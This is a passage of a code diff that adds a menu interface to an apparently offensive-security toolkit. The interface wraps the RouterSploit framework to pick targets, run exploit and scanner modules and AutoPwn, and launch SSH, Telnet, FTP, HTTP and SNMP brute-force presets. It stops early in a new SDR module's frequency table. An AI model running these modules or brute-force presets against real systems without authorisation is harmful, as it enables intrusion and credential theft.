+from core.rsf_modules import ( + get_module_info as get_library_module_info, + search_modules as library_search_modules, + get_modules_by_type as library_get_modules_by_type, + format_module_help, + MODULE_TYPES, +) + + +class RSFMenu: + """RouterSploit menu interface with module browser.""" + + # Module categories for browsing + MODULE_CATEGORIES = { + 'exploits': { + 'name': 'Exploits', + 'description': 'Vulnerability exploits for routers, cameras, devices', + 'color': Colors.RED, + }, + 'creds': { + 'name': 'Credentials', + 'description': 'Default credential and brute-force modules', + 'color': Colors.YELLOW, + }, + 'scanners': { + 'name': 'Scanners', + 'description': 'Automated vulnerability scanners', + 'color': Colors.CYAN, + }, + 'payloads': { + 'name': 'Payloads', + 'description': 'Shellcode and payload generators', + 'color': Colors.MAGENTA, + }, + 'encoders': { + 'name': 'Encoders', + 'description': 'Payload encoding and obfuscation', + 'color': Colors.GREEN, + }, + } + + def __init__(self): + self.rsf = get_rsf_interface() + self.rsf_manager = get_rsf_manager() + self.current_module = None # module path + self.current_instance = None # loaded module instance + self.current_info = None # RSFModuleInfo + + # Global target settings + self.global_settings = { + 'target': '', + 'port': '', + 'ssl': 'false', + } + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = {"info": Colors.CYAN, "success": Colors.GREEN, + "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def wrap_text(self, text: str, width: int = 60, indent: str = " ") -> str: + """Word-wrap text with indent.""" + words = text.split() + lines = [] + current_line = "" + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += (" " if current_line else "") + word + else: + if current_line: + lines.append(current_line) + current_line = word + if current_line: + lines.append(current_line) + return f"\n{indent}".join(lines) + + def resolve_hostname(self, hostname: str) -> Optional[str]: + """Resolve hostname to IP address.""" + try: + socket.inet_aton(hostname) + return hostname + except socket.error: + pass + try: + return socket.gethostbyname(hostname) + except socket.gaierror: + return None + + # ========================================================================= + # MAIN MENU + # ========================================================================= + + def show_main_menu(self): + """Display RSF main menu.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} RouterSploit Framework{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Status + if self.rsf.is_available: + count = self.rsf.module_count + print(f" {Colors.GREEN}Status: Available ({count} modules){Colors.RESET}") + else: + print(f" {Colors.YELLOW}Status: Not Available{Colors.RESET}") + print(f" {Colors.DIM}Check install path in Settings > RouterSploit{Colors.RESET}") + + # Show current settings + if self.global_settings['target']: + print(f" {Colors.CYAN}Target:{Colors.RESET} {self.global_settings['target']}") + if self.global_settings['port']: + print(f" {Colors.CYAN}Port:{Colors.RESET} {self.global_settings['port']}") + + # Current module + if self.current_module: + print(f" {Colors.YELLOW}Module:{Colors.RESET} {self.current_module}") + + print() + print(f" {Colors.RED}[1]{Colors.RESET} Set Target {Colors.DIM}- Configure target device{Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Module Browser {Colors.DIM}- Browse by category{Colors.RESET}") + print(f" {Colors.RED}[3]{Colors.RESET} Search Modules {Colors.DIM}- Search all modules{Colors.RESET}") + print() + print(f" {Colors.RED}[4]{Colors.RESET} Current Module {Colors.DIM}- View/configure selected module{Colors.RESET}") + print(f" {Colors.RED}[5]{Colors.RESET} Check Target {Colors.DIM}- Vulnerability check (safe){Colors.RESET}") + print(f" {Colors.RED}[6]{Colors.RESET} Run Module {Colors.DIM}- Execute current module{Colors.RESET}") + print() + print(f" {Colors.RED}[7]{Colors.RESET} Quick Scan {Colors.DIM}- AutoPwn & common scanners{Colors.RESET}") + print(f" {Colors.RED}[8]{Colors.RESET} Credential Check {Colors.DIM}- Default credential scanning{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back to Main Menu") + print() + + # ========================================================================= + # TARGET SETTINGS + # ========================================================================= + + def show_target_settings(self): + """Configure target device settings.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Target Configuration{Colors.RESET}") + print(f"{Colors.DIM} Configure the target device for RSF modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + target_val = self.global_settings['target'] or f"{Colors.YELLOW}(not set){Colors.RESET}" + port_val = self.global_settings['port'] or f"{Colors.DIM}(module default){Colors.RESET}" + ssl_val = self.global_settings['ssl'] + + print(f" {Colors.RED}[1]{Colors.RESET} Target = {target_val}") + target_info = get_setting_info('target') + if target_info: + print(f" {Colors.DIM}{self.wrap_text(target_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.RED}[2]{Colors.RESET} Port = {port_val}") + print(f" {Colors.DIM}Override module default port{Colors.RESET}") + print() + print(f" {Colors.RED}[3]{Colors.RESET} SSL = {ssl_val}") + print(f" {Colors.DIM}Enable SSL/TLS for connections{Colors.RESET}") + print() + print(f" {Colors.GREEN}[R]{Colors.RESET} Resolve hostname to IP") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == '1': + self._set_target() + elif choice == '2': + self._set_port() + elif choice == '3': + self._toggle_ssl() + elif choice == 'r': + self._resolve_hostname() + + except (EOFError, KeyboardInterrupt): + break + + def _set_target(self): + """Set target IP/hostname.""" + print() + print(format_setting_help('target')) + print() + + current = self.global_settings['target'] + prompt = f"Target [{current}]: " if current else "Target: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value and current: + return + + if value: + # Hostname resolution + if not any(c.isdigit() for c in value.split('/')[0].split('-')[0]): + print(f"{Colors.CYAN}[*] Resolving {value}...{Colors.RESET}") + ip = self.resolve_hostname(value) + if ip: + print(f"{Colors.GREEN}[+] Resolved to {ip}{Colors.RESET}") + use_ip = input(f"{Colors.WHITE}Use resolved IP? (y/n) [y]: {Colors.RESET}").strip().lower() + if use_ip != 'n': + value = ip + else: + print(f"{Colors.YELLOW}[!] Could not resolve hostname{Colors.RESET}") + + self.global_settings['target'] = value + self.print_status(f"target => {value}", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_port(self): + """Set port override.""" + print() + print(format_setting_help('port')) + print() + + current = self.global_settings['port'] + prompt = f"Port [{current or 'module default'}]: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value: + return + + if value == 'clear' or value == 'reset': + self.global_settings['port'] = '' + self.print_status("Port reset to module default", "success") + else: + valid, msg = validate_setting_value('port', value) + if valid: + self.global_settings['port'] = value + self.print_status(f"port => {value}", "success") + else: + self.print_status(msg, "warning") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _toggle_ssl(self): + """Toggle SSL setting.""" + current = self.global_settings['ssl'] + new_val = 'false' if current == 'true' else 'true' + self.global_settings['ssl'] = new_val + self.print_status(f"ssl => {new_val}", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _resolve_hostname(self): + """Resolve a hostname to IP.""" + print() + hostname = input(f"{Colors.WHITE}Hostname to resolve: {Colors.RESET}").strip() + if hostname: + print(f"{Colors.CYAN}[*] Resolving {hostname}...{Colors.RESET}") + ip = self.resolve_hostname(hostname) + if ip: + print(f"{Colors.GREEN}[+] {hostname} => {ip}{Colors.RESET}") + use_it = input(f"{Colors.WHITE}Set as target? (y/n) [y]: {Colors.RESET}").strip().lower() + if use_it != 'n': + self.global_settings['target'] = ip + self.print_status(f"target => {ip}", "success") + else: + self.print_status(f"Could not resolve '{hostname}'", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # MODULE BROWSER + # ========================================================================= + + def show_module_browser(self): + """Browse modules by category.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Browser{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + cats = list(self.MODULE_CATEGORIES.items()) + for i, (key, cat) in enumerate(cats, 1): + # Get count + try: + count = len(self.rsf.list_modules(key)) + except Exception: + count = 0 + print(f" {cat['color']}[{i}]{Colors.RESET} {cat['name']:<15} " + f"{Colors.DIM}({count} modules) - {cat['description']}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + + try: + idx = int(choice) - 1 + if 0 <= idx < len(cats): + category_key = cats[idx][0] + self._browse_category(category_key) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _browse_category(self, category: str): + """Browse modules within a category, with subcategory grouping.""" + cat_info = self.MODULE_CATEGORIES.get(category, {}) + + try: + modules = self.rsf.list_modules(category) + except Exception as e: + self.print_status(f"Error listing modules: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + if not modules: + self.print_status(f"No modules found in '{category}'", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Group by subcategory (e.g., exploits/routers/dlink -> routers/dlink) + subcats = {} + for mod_path in modules: + parts = mod_path.split('/') + if len(parts) >= 3: + subcat = parts[1] # routers, cameras, generic, etc. + elif len(parts) >= 2: + subcat = parts[1] + else: + subcat = 'other' + if subcat not in subcats: + subcats[subcat] = [] + subcats[subcat].append(mod_path) + + # Show subcategory menu + while True: + clear_screen() + display_banner() + + print(f"{cat_info.get('color', Colors.WHITE)}{Colors.BOLD} {cat_info.get('name', category)}{Colors.RESET}") + print(f"{Colors.DIM} {len(modules)} modules total{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + subcat_list = sorted(subcats.keys()) + for i, subcat in enumerate(subcat_list, 1): + count = len(subcats[subcat]) + print(f" {cat_info.get('color', Colors.WHITE)}[{i}]{Colors.RESET} " + f"{subcat:<20} {Colors.DIM}({count} modules){Colors.RESET}") + + print() + print(f" {Colors.GREEN}[A]{Colors.RESET} Show all {len(modules)} modules") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'a': + self._paginated_module_list(modules, f"All {category}") + else: + try: + idx = int(choice) - 1 + if 0 <= idx < len(subcat_list): + subcat_key = subcat_list[idx] + self._paginated_module_list( + subcats[subcat_key], + f"{category}/{subcat_key}" + ) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _paginated_module_list(self, modules: list, title: str): + """Display a paginated list of modules with selection.""" + page_size = 20 + page = 0 + total_pages = max(1, (len(modules) + page_size - 1) // page_size) + + while True: + clear_screen() + display_banner() + + start = page * page_size + end = min(start + page_size, len(modules)) + page_modules = modules[start:end] + + print(f"{Colors.RED}{Colors.BOLD} {title}{Colors.RESET}") + print(f"{Colors.DIM} Page {page + 1}/{total_pages} ({len(modules)} modules){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Two-column layout + half = (len(page_modules) + 1) // 2 + for i in range(half): + # Left column + idx1 = start + i + mod1 = page_modules[i] + short1 = mod1.split('/')[-1][:25] + left = f" [{idx1 + 1:>3}] {short1:<28}" + + # Right column + right = "" + if i + half < len(page_modules): + idx2 = start + i + half + mod2 = page_modules[i + half] + short2 = mod2.split('/')[-1][:25] + right = f"[{idx2 + 1:>3}] {short2}" + + print(f"{left}{Colors.DIM}{right}{Colors.RESET}") + + print() + + # Navigation + nav_parts = [] + if page > 0: + nav_parts.append(f"[P] Prev") + if page < total_pages - 1: + nav_parts.append(f"[N] Next") + nav_parts.append("[#] Select module by number") + nav_parts.append("[0] Back") + print(f" {Colors.DIM}{' | '.join(nav_parts)}{Colors.RESET}") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'n' and page < total_pages - 1: + page += 1 + elif choice == 'p' and page > 0: + page -= 1 + else: + try: + num = int(choice) + if 1 <= num <= len(modules): + selected = modules[num - 1] + self._show_module_details(selected) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _show_module_details(self, module_path: str): + """Show detailed info about a module and offer to select it.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Details{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Try curated library first + curated = get_library_module_info(module_path) + if curated: + print(format_module_help(module_path)) + else: + # Try live introspection + print(f" {Colors.WHITE}Path:{Colors.RESET} {module_path}") + try: + info = self.rsf.get_module_info(module_path) + print(f" {Colors.WHITE}Name:{Colors.RESET} {info.name}") + if info.description: + print(f" {Colors.WHITE}Description:{Colors.RESET}") + print(f" {self.wrap_text(info.description)}") + if info.authors: + print(f" {Colors.WHITE}Authors:{Colors.RESET} {', '.join(info.authors)}") + if info.devices: + print(f" {Colors.WHITE}Devices:{Colors.RESET}") + for dev in info.devices[:10]: + print(f" - {dev}") + if len(info.devices) > 10: + print(f" {Colors.DIM}... and {len(info.devices) - 10} more{Colors.RESET}") + if info.references: + print(f" {Colors.WHITE}References:{Colors.RESET}") + for ref in info.references[:5]: + print(f" {Colors.DIM}{ref}{Colors.RESET}") + except RSFError as e: + print(f" {Colors.YELLOW}Could not load module info: {e}{Colors.RESET}") + + print() + print(f" {Colors.GREEN}[S]{Colors.RESET} Select this module") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + if choice == 's': + self._select_module(module_path) + except (EOFError, KeyboardInterrupt): + pass + + def _select_module(self, module_path: str): + """Load and select a module as the current module.""" + try: + instance, info = self.rsf_manager.load_module(module_path) + self.current_module = module_path + self.current_instance = instance + self.current_info = info + + # Apply global settings + if self.global_settings['target']: + try: + self.rsf_manager.set_module_option(instance, 'target', self.global_settings['target']) + except RSFError: + pass + if self.global_settings['port']: + try: + self.rsf_manager.set_module_option(instance, 'port', self.global_settings['port']) + except RSFError: + pass + + self.print_status(f"Module selected: {module_path}", "success") + except RSFError as e: + self.print_status(f"Failed to load module: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # SEARCH + # ========================================================================= + + def search_modules(self): + """Search for modules by keyword.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Search Modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + try: + query = input(f"{Colors.WHITE} Search: {Colors.RESET}").strip() + if not query: + return + + print(f"\n{Colors.CYAN}[*] Searching for '{query}'...{Colors.RESET}") + + results = self.rsf.search_modules(query) + + if not results: + self.print_status(f"No modules found for '{query}'", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Found {len(results)} modules", "success") + self._paginated_module_list(results, f"Search: {query}") + + except RSFError as e: + self.print_status(f"Search error: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + except (EOFError, KeyboardInterrupt): + pass + + # ========================================================================= + # CURRENT MODULE + # ========================================================================= + + def show_current_module(self): + """View and configure the current selected module.""" + if not self.current_module or not self.current_instance: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Current Module{Colors.RESET}") + print(f"{Colors.YELLOW} {self.current_module}{Colors.RESET}") + if self.current_info: + print(f" {Colors.DIM}{self.current_info.name}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show options + options = self.rsf_manager.get_module_options(self.current_instance) + + if options: + # Separate required (non-advanced, non-empty description) and optional + required = [o for o in options if not o.get('advanced', False)] + advanced = [o for o in options if o.get('advanced', False)] + + if required: + print(f" {Colors.BOLD}Options:{Colors.RESET}") + for opt in required: + current = opt.get('current', '') + desc = opt.get('description', '') + print(f" {Colors.CYAN}{opt['name']:<20}{Colors.RESET} " + f"= {current or Colors.DIM + '(empty)' + Colors.RESET}" + f" {Colors.DIM}{desc[:40]}{Colors.RESET}") + + if advanced: + print() + print(f" {Colors.DIM}Advanced Options:{Colors.RESET}") + for opt in advanced: + current = opt.get('current', '') + print(f" {Colors.DIM}{opt['name']:<20} = {current}{Colors.RESET}") + else: + print(f" {Colors.DIM}No configurable options{Colors.RESET}") + + print() + print(f" {Colors.RED}[1]{Colors.RESET} Set Option") + print(f" {Colors.RED}[2]{Colors.RESET} Show All Options") + print(f" {Colors.GREEN}[3]{Colors.RESET} Check Target (safe)") + print(f" {Colors.RED}[4]{Colors.RESET} Run Module") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + self._set_option() + elif choice == '2': + self._show_all_options() + elif choice == '3': + self._check_target() + elif choice == '4': + self._run_module() + + except (EOFError, KeyboardInterrupt): + break + + def _set_option(self): + """Set a module option.""" + print() + name = input(f"{Colors.WHITE} Option name: {Colors.RESET}").strip() + if not name: + return + + # Show help + help_text = format_setting_help(name) + if help_text and 'No help available' not in help_text: + print(help_text) + print() + + # Get current value + try: + current = getattr(self.current_instance, name, '') + except Exception: + current = '' + + prompt = f" Value [{current}]: " if current else " Value: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value and current: + return + + if value: + try: + self.rsf_manager.set_module_option(self.current_instance, name, value) + self.print_status(f"{name} => {value}", "success") + + # Update global settings if target/port + if name == 'target': + self.global_settings['target'] = value + elif name == 'port': + self.global_settings['port'] = value + except RSFError as e: + self.print_status(f"Error: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _show_all_options(self): + """Show all options with details.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Options{Colors.RESET}") + print(f"{Colors.YELLOW} {self.current_module}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + options = self.rsf_manager.get_module_options(self.current_instance) + for opt in options: + adv_tag = f" {Colors.DIM}(advanced){Colors.RESET}" if opt.get('advanced') else "" + print(f" {Colors.CYAN}{opt['name']}{Colors.RESET}{adv_tag}") + print(f" Type: {opt.get('type', 'string')}") + print(f" Current: {opt.get('current', '(empty)')}") + print(f" Default: {opt.get('default', '(none)')}") + if opt.get('description'): + print(f" Desc: {self.wrap_text(opt['description'], indent=' ')}") + print() + + input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # CHECK & RUN + # ========================================================================= + + def _check_target(self): + """Run check() on the current module.""" + if not self.current_module or not self.current_instance: + self.print_status("No module selected", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + target = str(getattr(self.current_instance, 'target', '')) + if not target: + self.print_status("Target not set. Set target first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}[*] Running check() on {target}...{Colors.RESET}") + print(f"{Colors.DIM} This is a safe vulnerability verification.{Colors.RESET}") + print() + + from core.config import get_config + timeout = get_config().get_int('rsf', 'execution_timeout', 120) + + check_result, output = self.rsf_manager.execute_check(self.current_instance, timeout) + + if check_result is True: + self.print_status(f"Target IS VULNERABLE", "success") + elif check_result is False: + self.print_status(f"Target is NOT vulnerable", "info") + else: + self.print_status(f"Check returned no definitive result", "warning") + + if output: + print() + # Strip ANSI for display + from core.rsf_interface import _ANSI_RE + cleaned = _ANSI_RE.sub('', output) + for line in cleaned.splitlines()[:30]: + stripped = line.strip() + if stripped: + if stripped.startswith('[+]'): + print(f" {Colors.GREEN}{stripped}{Colors.RESET}") + elif stripped.startswith('[-]'): + print(f" {Colors.RED}{stripped}{Colors.RESET}") + elif stripped.startswith('[*]'): + print(f" {Colors.CYAN}{stripped}{Colors.RESET}") + else: + print(f" {stripped}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _run_module(self): + """Run the current module with confirmation.""" + if not self.current_module or not self.current_instance: + self.print_status("No module selected", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + target = str(getattr(self.current_instance, 'target', '')) + if not target: + self.print_status("Target not set. Set target first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Confirmation + print() + print(f" {Colors.RED}{Colors.BOLD}WARNING: This will execute the module against the target.{Colors.RESET}") + print(f" {Colors.CYAN}Module:{Colors.RESET} {self.current_module}") + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + print() + + confirm = input(f"{Colors.WHITE} Proceed? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + self.print_status("Cancelled", "info") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.RED}[*] Executing module...{Colors.RESET}\n") + + # Build options dict from current instance + options = {} + for opt in self.rsf_manager.get_module_options(self.current_instance): + options[opt['name']] = opt.get('current', '') + + result = self.rsf.run_module(self.current_module, options) + self.rsf.print_result(result) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def run_check(self): + """Run check from main menu (option 5).""" + if not self.current_module: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + self._check_target() + + def run_module(self): + """Run module from main menu (option 6).""" + if not self.current_module: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + self._run_module() + + # ========================================================================= + # QUICK SCAN + # ========================================================================= + + def quick_scan(self): + """Quick scan presets using RSF scanners.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Quick Scan{Colors.RESET}") + print(f"{Colors.DIM} Automated scanning presets{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + target = self.global_settings.get('target', '') + if target: + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + else: + print(f" {Colors.YELLOW}Target: (not set - will be prompted){Colors.RESET}") + print() + + print(f" {Colors.RED}[1]{Colors.RESET} AutoPwn {Colors.DIM}- Scan ALL modules (slow){Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Router Scan {Colors.DIM}- Router-specific modules{Colors.RESET}") + print(f" {Colors.RED}[3]{Colors.RESET} Camera Scan {Colors.DIM}- Camera-specific modules{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + self._run_scanner('scanners/autopwn', 'AutoPwn') + elif choice == '2': + self._run_scanner('scanners/routers/router_scan', 'Router Scanner') + elif choice == '3': + self._run_scanner('scanners/cameras/camera_scan', 'Camera Scanner') + + except (EOFError, KeyboardInterrupt): + break + + def _run_scanner(self, module_path: str, name: str): + """Run a scanner module.""" + target = self.global_settings.get('target', '') + if not target: + print() + target = input(f"{Colors.WHITE} Target IP: {Colors.RESET}").strip() + if not target: + return + self.global_settings['target'] = target + + print() + print(f" {Colors.CYAN}Scanner:{Colors.RESET} {name}") + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + print(f" {Colors.DIM}This may take several minutes...{Colors.RESET}") + print() + + confirm = input(f"{Colors.WHITE} Start scan? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print(f"\n{Colors.CYAN}[*] Starting {name}...{Colors.RESET}\n") + + options = {'target': target} + if self.global_settings.get('port'): + options['port'] = self.global_settings['port'] + + result = self.rsf.run_module(module_path, options) + self.rsf.print_result(result, verbose=True) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # CREDENTIAL CHECK + # ========================================================================= + + def credential_check(self): + """Run credential checking modules.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.YELLOW}{Colors.BOLD} Credential Check{Colors.RESET}") + print(f"{Colors.DIM} Test for default/weak credentials{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + target = self.global_settings.get('target', '') + if target: + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + else: + print(f" {Colors.YELLOW}Target: (not set - will be prompted){Colors.RESET}") + print() + + print(f" {Colors.YELLOW}[1]{Colors.RESET} FTP Default Creds {Colors.DIM}- Test FTP (port 21){Colors.RESET}") + print(f" {Colors.YELLOW}[2]{Colors.RESET} SSH Bruteforce {Colors.DIM}- Test SSH (port 22){Colors.RESET}") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Telnet Bruteforce {Colors.DIM}- Test Telnet (port 23){Colors.RESET}") + print(f" {Colors.YELLOW}[4]{Colors.RESET} HTTP Basic Auth {Colors.DIM}- Test HTTP auth (port 80){Colors.RESET}") + print(f" {Colors.YELLOW}[5]{Colors.RESET} SNMP Community Scan {Colors.DIM}- Test SNMP (port 161){Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + self._run_cred_check('creds/generic/ftp_bruteforce', 'FTP Bruteforce') + elif choice == '2': + self._run_cred_check('creds/generic/ssh_bruteforce', 'SSH Bruteforce') + elif choice == '3': + self._run_cred_check('creds/generic/telnet_bruteforce', 'Telnet Bruteforce') + elif choice == '4': + self._run_cred_check('creds/generic/http_basic_digest_bruteforce', 'HTTP Auth Bruteforce') + elif choice == '5': + self._run_cred_check('creds/generic/snmp_bruteforce', 'SNMP Bruteforce') + + except (EOFError, KeyboardInterrupt): + break + + def _run_cred_check(self, module_path: str, name: str): + """Run a credential checking module.""" + target = self.global_settings.get('target', '') + if not target: + print() + target = input(f"{Colors.WHITE} Target IP: {Colors.RESET}").strip() + if not target: + return + self.global_settings['target'] = target + + print() + print(f" {Colors.YELLOW}Module:{Colors.RESET} {name}") + print(f" {Colors.CYAN}Target:{Colors.RESET} {target}") + print() + + confirm = input(f"{Colors.WHITE} Start credential check? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print(f"\n{Colors.CYAN}[*] Running {name}...{Colors.RESET}\n") + + options = {'target': target} + if self.global_settings.get('port'): + options['port'] = self.global_settings['port'] + + result = self.rsf.run_module(module_path, options) + self.rsf.print_result(result) + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + +# ─── Module Entry Point ──────────────────────────────────────────────────── + +def run(): + """Main entry point for the RSF module.""" + menu = RSFMenu() + + while True: + menu.show_main_menu() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + elif choice == '1': + menu.show_target_settings() + elif choice == '2': + menu.show_module_browser() + elif choice == '3': + menu.search_modules() + elif choice == '4': + menu.show_current_module() + elif choice == '5': + menu.run_check() + elif choice == '6': + menu.run_module() + elif choice == '7': + menu.quick_scan() + elif choice == '8': + menu.credential_check() + + except (EOFError, KeyboardInterrupt): + break diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/sdr_tools.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/sdr_tools.py new file mode 100644 index 0000000..3b3201c --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/sdr_tools.py @@ -0,0 +1,2091 @@ +"""AUTARCH SDR / RF Tools + +Software-defined radio integration for spectrum analysis, signal capture/replay, +ADS-B tracking, FM/AM demodulation, and GPS spoofing detection. +Supports HackRF, RTL-SDR, and compatible devices. +""" + +DESCRIPTION = "SDR/RF — spectrum analysis, signal capture & replay" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import struct +import subprocess +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Common Frequencies Reference ───────────────────────────────────────────── + +COMMON_FREQUENCIES = { + 'FM Broadcast': { + 'range': '87.5-108 MHz', + 'entries': [ + {'freq': 87500000, 'name': 'FM Band Start'}, + {'freq': 92100000, 'name': 'FM Example (92.1)'}, + {'freq': 97500000, 'name': 'FM Example (97.5)'}, + {'freq': 108000000, 'name': 'FM Band End'}, + ], + }, + 'Aviation': { + 'range': '108-137 MHz', + 'entries': [ + {'freq': 108000000, 'name': 'VOR/ILS Start'}, + {'freq': 118000000, 'name': 'Air Traffic Control Start'}, + {'freq': 121500000, 'name': 'Emergency / Guard'}, + {'freq': 123450000, 'name': 'Air-to-Air (Unicom)'}, + {'freq': 128825000, 'name': 'Eurocontrol UAC'}, + {'freq': 132000000, 'name': 'Approach Control'}, + {'freq': 136975000, 'name': 'ACARS'}, + ], + }, + 'Marine VHF': { + 'range': '156-162 MHz', + 'entries': [ + {'freq': 156000000, 'name': 'Ch 0 — Coast Guard'}, + {'freq': 156300000, 'name': 'Ch 6 — Intership Safety'}, + {'freq': 156525000, 'name': 'Ch 70 — DSC Distress'}, + {'freq': 156800000, 'name': 'Ch 16 — Distress / Calling'}, + {'freq': 161975000, 'name': 'AIS 1'}, + {'freq': 162025000, 'name': 'AIS 2'}, + ], + }, + 